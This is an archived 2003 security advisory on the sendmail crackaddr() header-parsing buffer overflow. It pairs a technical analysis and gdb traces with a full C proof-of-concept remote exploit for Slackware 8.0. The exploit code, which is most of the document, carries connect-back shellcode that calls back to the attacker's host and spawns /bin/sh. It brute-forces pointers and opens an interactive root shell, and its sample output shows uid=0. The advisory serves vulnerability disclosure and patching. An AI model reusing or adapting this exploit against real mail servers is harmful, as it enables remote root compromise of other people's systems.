4th Mar 2003 [SBWID-6035]
COMMAND
sendmail remote buffer overflow with mail header parsing code bug
SYSTEMS AFFECTED
All versions of sendmail after version 5.79
PROBLEM
In FreeBSD Security Advisory [FreeBSD-SA-03:04.sendmail] :
--snip--
ISS has identified a buffer overflow that may occur during header
parsing in all versions of sendmail after version 5.79.
In addition, Sendmail, Inc. has identified and corrected a defect in
buffer handling within sendmail's RFC 1413 ident protocol support.
--snap--
Update (04 March 2003)
======
Last Stage of Delirium [[email protected]] analysis and remote PoC :
We have done some brief analysis of the potential remote Sendmail
vulnerability that has been reported lately. Below you can read about
our findings with regard to this isse. We reserve the right not to be
correct in whatever we write below. This is mainly due to the fact that
we did not perform full analysis of this issue. If this is the case,
please correct any statements done by us in this post.
TECHNICAL DESCRIPTION
=====================
The vulnerability is within the crackaddr(char* addr) function defined
in the headers.c file. By properly constructing the from address string
and passing it to the crackaddr function it is possible to overrun the
static char buf defined within this function. This overrun is possible
due to the incorrect handling of the <> brackets chars in the from
address string. Whenever the closing > bracket is encountered in the
address string, the value of the buflim pointer (denoting the end of
the buf buffer above which no write should be allowed) is incremented
by 1. But, in the corresponding situation, whenever the opening <
bracket is detected, the buflim value is not changed, although it
should be decremented. And this is where the actual origin of the
discussed security vulnerability lies.
Because every closing bracket must be preceded by the opening one (this
is assured by the anglelev value), we cannot just simply issue the
sequence of N repeated < chars in order to increase the buflim value
by N. Unfortunately, the <> two character sequence must be always
used in order to increment the value of buflim by 1. This simply leads
to the following equation which can be used for calculating the maximum
x value by which the value of the buflim pointer can be incremented
above the size of the buf buffer:
(2 * x) <= (MAXNAME + 1 - 7) + x
x <= (MAXNAME + 1 - 7)
From the above, it can be seen that the buflim value can go beyond the
buf buffer at maximum by one times of its size (which is 250).
EXPLOITATION
============
Due to the nature of the overflowed buffer declaration (static),
exploitation of this issue is highly dependant on the way compiler
orders the static data in the data segment. In other words, there must
be some usable static data immediately following our static buf, which
when overflowed can disrupt the execution flow of the sendmail process
in such a way thay program counter value can be fully controlled.
We have inspected this issue a bit more, and found out that on most
Unix systems the buf buffer is not followed by such data. We base this
conclusion upon the simple fact that we didn't manage to crash sendmail
by feeding it with 250 sequences of <> chars in the from address
string. This means that this issue does not seam to be exploitable on
them. The following table presents a summary of our findings:
Freebsd 4.4 - (default & self compiled Sendmail 8.11.6) does not crash
Solaris 8.0 x86 - (default & self compiled Sendmail 8.11.6) does not crash
Solaris 8.0 sparc - (default & self compiled Sendmail 8.11.6) does not crash
HP-UX 10.20 - (self compiled Sendmail 8.11.6) does not crash
IRIX 6.5.14 - (self compiled Sendmail 8.11.6) does not crash
AIX 4.3 - (binary of Sendmail 8.11.3 from bull.de) does not crash
RedHat 7.0 - (default Sendmail 8.11.0) does not crash
RedHat 7.2 - (default Sendmail 8.11.6) does not crash
RedHat 7.3 (p) - (patched Sendmail 8.11.6) does not crash
RedHat 7.0 - (self compiled Sendmail 8.11.6) crashes
RedHat 7.2 - (self compiled Sendmail 8.11.6) crashes
RedHat 7.3 - (self compiled Sendmail 8.11.6) crashes
Slackware 8.0 (p) - (patched Sendmail 8.11.6 binary) crashes
Slackware 8.0 - (self compiled Sendmail 8.12.7) does not crash
RedHat 7.x - (self compiled Sendmail 8.12.7) does not crash
(p) - patched box
From the table above, you can see that there are however some systems
that could be potentially exploitable. These are RedHat and Slackware
Linux. We inspected the reason of the sendmail crashes on these systems
and we have found out that they were due to the invalid value of the
MciCache pointer defined in mci.c file. We investigated this issue a
bit more and managed to successfully exploit this static buf overrun on
Linux Slackware 8.0 systems. We achieved that by properly constructing
the MciCache pointer value and some other pointer values as well.
Specifically, we had to patch:
- static MCI **MciCache pointer value to point to our struct mailer_con_info
entry,
- struct mailer *mci_mailer pointer value from our MCI entry,
- char *mci_host pointer value from our MCI entry,
- FILE *mci_out pointer value from our MCI entry,
By doing the above patching, we could reach the following execution
point in the sendmail process:
Program received signal SIGSEGV, Segmentation fault.
0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s",
ap=0xbfffd6ac) at vfprintf.c:1024
1024 vfprintf.c: No such file or directory.
(gdb) where
#0 0x400ee94a in _IO_vfprintf (s=0xaabbccdd, format=0x809b773 "%s%s",
ap=0xbfffd6ac) at vfprintf.c:1024
#1 0x400f7047 in fprintf (stream=0xaabbccdd, format=0x809b773 "%s%s")
at fprintf.c:32
#2 0x8084ff8 in smtpmessage ()
#3 0x80847ac in smtpquit ()
#4 0x8069e89 in mci_uncache ()
#5 0x8069f14 in mci_flush ()
#6 0x804e0b9 in finis ()
#7 0x8073042 in dowork ()
#8 0x807f9bc in smtp ()
#9 0x804da8e in main ()
#10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3,
argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>,
rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc)
at ../sysdeps/generic/libc-start.c:92
As you can see, we managed to reach the point where fprintf function
call was done with our value of a FILE* stream pointer.
From this point, we had to do a bit more patching in order to finally
seize control over the sendmail process. Specifically, we used the fact
that the _IO_FILE (or FILE) object is followed by a pointer to a jump
table (of pointers to functions) in GNU libc. This simply lead us to
the following patching scheme:
- pointer value of a stream parameter passed to the fprintf call was patched, so
that it pointed to our FILE object,
- int _flags field from the FILE object, was patched so that its 0x08 bit was
cleared,
- signed char _vtable_offset value was patched, so that along with the
struct _IO_jump_t *vtable it caused that our jump table was accesssed for file
IO operations,
- _IO_xsputn_t __xsputn function pointer value was patched, so that it contained
the value which we wanted to have in program counter register.
By doing this additional FILE object related patching, we were able to
reach the following execution point in the sendmail process:
Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb) where
#0 0xaabbccdd in ?? ()
#1 0x400f7047 in fprintf (stream=0xbfffa260, format=0x809b773 "%s%s")
at fprintf.c:32
#2 0x8084ff8 in smtpmessage ()
#3 0x80847ac in smtpquit ()
#4 0x8069e89 in mci_uncache ()
#5 0x8069f14 in mci_flush ()
#6 0x804e0b9 in finis ()
#7 0x8073042 in dowork ()
#8 0x807f9bc in smtp ()
#9 0x804da8e in main ()
#10 0x400c19cb in __libc_start_main (main=0x804ac00 <main>, argc=3,
argv=0xbffffbe4, init=0x804a07c <_init>, fini=0x808918c <_fini>,
rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffbdc)
at ../sysdeps/generic/libc-start.c:92
In a result, we were able to redirect sendmail program execution to any
arbitrary location (our code in particular).
We wrote simple proof of concept code for Linux Slackware 8.0 that does
all of the above. It can be found at the end of this post. The code was
written in such a way so that all of the patching is done almost
automatically. The user does not explixitly specify the locations
within the patching buffer - they are found on the fly upon the
knowledge about the beginning location of the patched buffer and its
structure (free/occupied slots). We decided to do the patching in such
a way in order to avoid dealing with illegal characters in the patching
pointers. We also wanted to extend the chance of hitting the table of
pointers to our MCI entries (we wanted to have as many of them as
possible in the patching buf, and all of them in one continuous area).
By doing this, we could reduce the need to brute force the MciCache
pointer value several times (from 4-10).
As for some other issues regarding the sendmail vulnerability
exploitation, it should be mentioned that the user provided from
address string can trigger the overrun in two cases. The first one is
when this string is provided directly in a MAIL FROM smtp command, the
second one is when it is provided in the message body (as the extended
From: header field). However, this second way of triggering the
overflow seem to be more adventageous, as there is much more room
available for the from address string contained in the message body
than the smtp command (about 2k contrary to 256 bytes). There are also
some restrictions imposed on the from address string when it is
provided in the smtp command in sendmail 8.12.x and above, which cannot
be simply avoided (in order to pass our arbitrary characters in the
from address string, we enclose them in the comment () paranthesis).
One more issue with regard to the exploitation is related to the code
that can be executed after successfull exploitation. Because the target
process does not have any active TCP connections open at the time when
we can seize its execution we cannot use findsckcode variant in it. The
use of bindsckcode does not also seem to be usable in the case of
sendmail, as mail servers are usually tightly firewalled and do not
allow any incoming connections to be established. They however must
always allow outgoing connections to other mail servers, this is why
the connect code could be very adventageous in this case and this is
why we use it in our POC.
TESTING ENVIROMENT
==================
Our test box was running Linux Slackware 8.0 distribution
ftp.slackware.org/slackware/slackware-8.0-iso/install.iso
with patched sendmail binary
ftp.slackware.org/slackware/slackware-8.0/patches/packages/sendmail.tgz
The applied patch upgraded sendmail from version 8.11.4 to 8.11.6.
Below you can find the example usage of our proof of concept code:
# ./linx86_sendmail your.target.com -p 0xbfff9f1c -v 80
copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/
sendmail 8.11.6 for Slackware 8.0 x86
.................
base 0xbfffa00c mcicache 0xbfffa01c
Linux your.target.com 2.2.19 #93 Thu Jun 21 01:09:03 PDT 2001 i686 unknown
id
uid=0(root) gid=1(bin) groups=7(lp)
IMPACT
======
Due to the nature of the discussed sendmail vulnerability it seems that
it is unexploitable on most of commercially available UNIX systems. It
also doesn't seem to be exploitable on most of the default SMTP
installations of x86 based open-source systems. This leads to the
conclusion that the overall impact of the vulnerability is rather
limited and not so significant as it might be thought.
Hovever, we cannot exclude that there does not exist another execution
path in the sendmail code, that could lead to the program counter
overwrite.
PROOF OF CONCEPT CODE
=====================
/*## copyright LAST STAGE OF DELIRIUM mar 2003 poland *://lsd-pl.net/ #*/
/*## sendmail 8.11.6 #*/
/* proof of concept code for remote sendmail vulnerability */
/* usage: linx86_sendmail target [-l localaddr] [-b localport] [-p ptr] */
/* [-c count] [-t timeout] [-v 80] */
/* where: */
/* target - address of the target host to run this code against */
/* localaddr - address of the host you are running this code from */
/* localport - local port that will listen for shellcode connection */
/* ptr - base ptr of the sendmail buffer containing our arbitrary data */
/* count - brute force loop counter */
/* timeout - select call timeout while waiting for shellcode connection */
/* v - version of the target OS (currently only Slackware 8.0 is supported) */
/* */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#define NOP 0xf8
#define MAXLINE 2048
#define PNUM 12
#define OFF1 (288+156-12)
#define OFF2 (1088+288+156+20+48)
#define OFF3 (139*2)
int tab[]={23,24,25,26};
#define IDX2PTR(i) (PTR+i-OFF1)
#define ALLOCBLOCK(idx,size) memset(&lookup[idx],1,size)
#define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||\
(((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0)))
#define AOFF 33
#define AMSK 38
#define POFF 48
#define PMSK 53
char* lookup=NULL;
int gfirst;
char shellcode[]= /* 116 bytes */
"\xeb\x02" /* jmp <shellcode+4> */
"\xeb\x08" /* jmp <shellcode+12> */
"\xe8\xf9\xff\xff\xff" /* call <shellcode+2> */
"\xcd\x7f" /* int $0x7f */
"\xc3" /* ret */
"\x5f" /* pop %edi */
"\xff\x47\x01" /* incl 0x1(%edi) */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x6a\x01" /* push $0x1 */
"\x6a\x02" /* push $0x2 */
"\x54" /* push %esp */
"\x59" /* pop %ecx */
"\xb0\x66" /* mov $0x66,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\x43" /* inc %ebx */
"\xff\xd7" /* call *%edi */
"\xba\xff\xff\xff\xff" /* mov $0xffffffff,%edx */
"\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */
"\x31\xca" /* xor %ecx,%edx */
"\x52" /* push %edx */
"\xba\xfd\xff\xff\xff" /* mov $0xfffffffd,%edx */
"\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */
"\x31\xca" /* xor %ecx,%edx */
"\x52" /* push %edx */
"\x54" /* push %esp */
"\x5e" /* pop %esi */
"\x6a\x10" /* push $0x10 */
"\x56" /* push %esi */
"\x50" /* push %eax */
"\x50" /* push %eax */
"\x5e" /* pop %esi */
"\x54" /* push %esp */
"\x59" /* pop %ecx */
"\xb0\x66" /* mov $0x66,%al */
"\x6a\x03" /* push $0x3 */
"\x5b" /* pop %ebx */
"\xff\xd7" /* call *%edi */
"\x56" /* push %esi */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb1\x03" /* mov $0x3,%cl */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x3f" /* mov $0x3f,%al */
"\x49" /* dec %ecx */
"\xff\xd7" /* call *%edi */
"\x41" /* inc %ecx */
"\xe2\xf6" /* loop <shellcode+81> */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x54" /* push %esp */
"\x5b" /* pop %ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x54" /* push %esp */
"\x59" /* pop %ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xff\xd7" /* call *%edi */
;
int PTR,MPTR=0xbfffa01c;
void putaddr(char* p,int i) {
*p++=(i&0xff);
*p++=((i>>8)&0xff);
*p++=((i>>16)&0xff);
*p++=((i>>24)&0xff);
}
void sendcommand(int sck,char *data,char resp) {
char buf[1024];
int i;
if (send(sck,data,strlen(data),0)<0) {
perror("error");exit(-1);
}
if (resp) {
if ((i=recv(sck,buf,sizeof(buf),0))<0) {
perror("error");exit(-1);
}
buf[i]=0;
printf("%s",buf);
}
}
int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}
void initlookup() {
int i;
if (!(lookup=(char*)malloc(MAXLINE))) {
printf("error: malloc\n");exit(-1);
}
ALLOCBLOCK(0,MAXLINE);
memset(lookup+OFF1,0,OFF2-OFF1);
for(i=0;i<sizeof(tab)/4;i++)
ALLOCBLOCK(OFF1+4*tab[i],4);
gfirst=1;
}
int validaddr(int addr) {
unsigned char buf[4],c;
int i,*p=(int*)buf;
*p=addr;
for(i=0;i<4;i++) {
c=buf[i];
if (NOTVALIDCHAR(c)) return 0;
}
return 1;
}
int freeblock(int idx,int size) {
int i,j;
for(i=j=0;i<size;i++) {
if (!lookup[idx+i]) j++;
}
return (i==j);
}
int findblock(int addr,int size,int begin) {
int i,j,idx,ptr;
ptr=addr;
if (begin) {
idx=OFF1+addr-PTR;
while(1) {
while(((!validaddr(ptr))||lookup[idx])&&(idx<OFF2)) {
idx+=4;
ptr+=4;
}
if (idx>=OFF2) return 0;
if (freeblock(idx,size)) return idx;
idx+=4;
ptr+=4;
}
} else {
idx=addr-PTR;
while(1) {
while(((!validaddr(ptr))||lookup[idx])&&(idx>OFF1)) {
idx-=4;
ptr-=4;
}
if (idx<OFF1) return 0;
if (freeblock(idx,size)) return idx;
idx-=4;
ptr-=4;
}
}
}
int findsblock(int sptr) {
int optr,sidx,size;
size=gfirst ? 0x2c:0x04;
optr=sptr;
while(sidx=findblock(sptr,size,1)) {
sptr=IDX2PTR(sidx);
if (gfirst) {
if (validaddr(sptr)) {
ALLOCBLOCK(sidx,size);
break;
} else sptr=optr;
} else {
if (validaddr(sptr-0x18)&&freeblock(sidx-0x18,4)&&freeblock(sidx+0x0c,4)&&
freeblock(sidx+0x10,4)&&freeblock(sidx-0x0e,4)) {
ALLOCBLOCK(sidx-0x18,4);
ALLOCBLOCK(sidx-0x0e,2);
ALLOCBLOCK(sidx,4);
ALLOCBLOCK(sidx+0x0c,4);
ALLOCBLOCK(sidx+0x10,4);
sidx-=0x18;
break;
} else sptr=optr;
}
sptr+=4;
optr=sptr;
}
gfirst=0;
return sidx;
}
int findfblock(int fptr,int i1,int i2,int i3) {
int fidx,optr;
optr=fptr;
while(fidx=findblock(fptr,4,0)) {
fptr=IDX2PTR(fidx);
if (validaddr(fptr-i2)&&validaddr(fptr-i2-i3)&&freeblock(fidx-i3,4)&&
freeblock(fidx-i2-i3,4)&&freeblock(fidx-i2-i3+i1,4)) {
ALLOCBLOCK(fidx,4);
ALLOCBLOCK(fidx-i3,4);
ALLOCBLOCK(fidx-i2-i3,4);
ALLOCBLOCK(fidx-i2-i3+i1,4);
break;
} else fptr=optr;
fptr-=4;
optr=fptr;
}
return fidx;
}
void findvalmask(char* val,char* mask,int len) {
int i;
unsigned char c,m;
for(i=0;i<len;i++) {
c=val[i];
m=0xff;
while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
val[i]=c^m;
mask[i]=m;
}
}
void initasmcode(char *addr,int port) {
char abuf[4],amask[4],pbuf[2],pmask[2];
char name[256];
struct hostent *hp;
int i;
if (!addr) gethostname(name,sizeof(name));
else strcpy(name,addr);
if ((i=inet_addr(name))==-1) {
if ((hp=gethostbyname(name))==NULL) {
printf("error: address\n");exit(-1);
}
memcpy(&i,hp->h_addr,4);
}
putaddr(abuf,rev(i));
pbuf[0]=(port>>8)&0xff;
pbuf[1]=(port)&0xff;
findvalmask(abuf,amask,4);
findvalmask(pbuf,pmask,2);
memcpy(&shellcode[AOFF],abuf,4);
memcpy(&shellcode[AMSK],amask,4);
memcpy(&shellcode[POFF],pbuf,2);
memcpy(&shellcode[PMSK],pmask,2);
}
int main(int argc,char **argv){
int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp;
int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25;
fd_set readfs;
struct timeval t;
struct sockaddr_in address;
struct hostent *hp;
char buf[4096],cmd[4096];
char *p,*host,*myhost=NULL;
printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/\n");
printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n");
if (argc<3) {
printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c count] [-t timeout] [-v 80]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) {
switch(c) {
case 'b': port=atoi(optarg);break;
case 'c': count=atoi(optarg);break;
case 'l': myhost=optarg;break;
case 't': timeout=atoi(optarg);break;
case 'v': vers=atoi(optarg);break;
case 'p': sscanf(optarg,"%x",&MPTR);
}
}
host=argv[1];
srv=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(port);
if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) {
printf("error: bind\n");exit(-1);
}
if (listen(srv,10)==-1) {
printf("error: listen\n");exit(-1);
}
initasmcode(myhost,port);
for(i4=0;i4<count;i4++,MPTR+=cnt*4) {
PTR=MPTR;
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(25);
if ((address.sin_addr.s_addr=inet_addr(host))==-1) {
if ((hp=gethostbyname(host))==NULL) {
printf("error: address\n");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) {
printf("error: connect\n");exit(-1);
}
initlookup();
sendcommand(sck,"helo yahoo.com\n",0);
sendcommand(sck,"mail from: [email protected]\n",0);
sendcommand(sck,"rcpt to: lp\n",0);
sendcommand(sck,"data\n",0);
aidx=findblock(PTR,PNUM*4,1);
ALLOCBLOCK(aidx,PNUM*4);
aptr=IDX2PTR(aidx);
printf(".");fflush(stdout);
jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1);
ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4);
switch(vers) {
case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break;
default: exit(-1);
}
i2-=8;
p=buf;
for(i=0;i<138;i++) {
*p++='<';*p++='>';
}
*p++='(';
for(i=0;i<l;i++) *p++=NOP;
*p++=')';
*p++=0;
putaddr(&buf[OFF3+l],aptr);
sprintf(cmd,"From: %s\n",buf);
sendcommand(sck,cmd,0);
sendcommand(sck,"Subject: hello\n",0);
memset(cmd,NOP,MAXLINE);
cmd[MAXLINE-2]='\n';
cmd[MAXLINE-1]=0;
cnt=0;
while(cnt<PNUM) {
sptr=aptr;
fptr=IDX2PTR(OFF2);
if (!(sidx=findsblock(sptr))) break;
sptr=IDX2PTR(sidx);
if (!(fidx=findfblock(fptr,i1,i2,i3))) break;
fptr=IDX2PTR(fidx);
jmp=IDX2PTR(jidx);
while (!validaddr(jmp)) jmp+=4;
putaddr(&cmd[aidx],sptr);
putaddr(&cmd[sidx+0x24],aptr);
putaddr(&cmd[sidx+0x28],aptr);
putaddr(&cmd[sidx+0x18],fptr-i2-i3);
putaddr(&cmd[fidx-i2-i3],0x01010101);
putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8);
putaddr(&cmd[fidx-i3],fptr-i3);
putaddr(&cmd[fidx],jmp);
aidx+=4;
PTR-=4;
cnt++;
}
p=&cmd[jidx+4*PNUM];
for(i=0;i<strlen(shellcode);i++) {
*p++=shellcode[i];
}
sendcommand(sck,cmd,0);
sendcommand(sck,"\n",0);
sendcommand(sck,".\n",0);
free(lookup);
FD_ZERO(&readfs);
FD_SET(0,&readfs);
FD_SET(srv,&readfs);
t.tv_sec=timeout;
t.tv_usec=0;
if (select(srv+1,&readfs,NULL,NULL,&t)>0) {
close(sck);
found=1;
if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) {
printf("error: accept\n");exit(-1);
}
close(srv);
printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr);
write(sck,"/bin/uname -a\n",14);
} else {
close(sck);
found=0;
}
while(found){
FD_ZERO(&readfs);
FD_SET(0,&readfs);
FD_SET(sck,&readfs);
if(select(sck+1,&readfs,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&readfs)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else {printf("koniec\n");exit(-1);}
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&readfs)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else {printf("koniec\n");exit(-1);}
}
write(1,buf,cnt);
}
}
}
}
}
SOLUTION
Patch availbale to all platforms, check the diff here :
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-03:04/sendmail.patch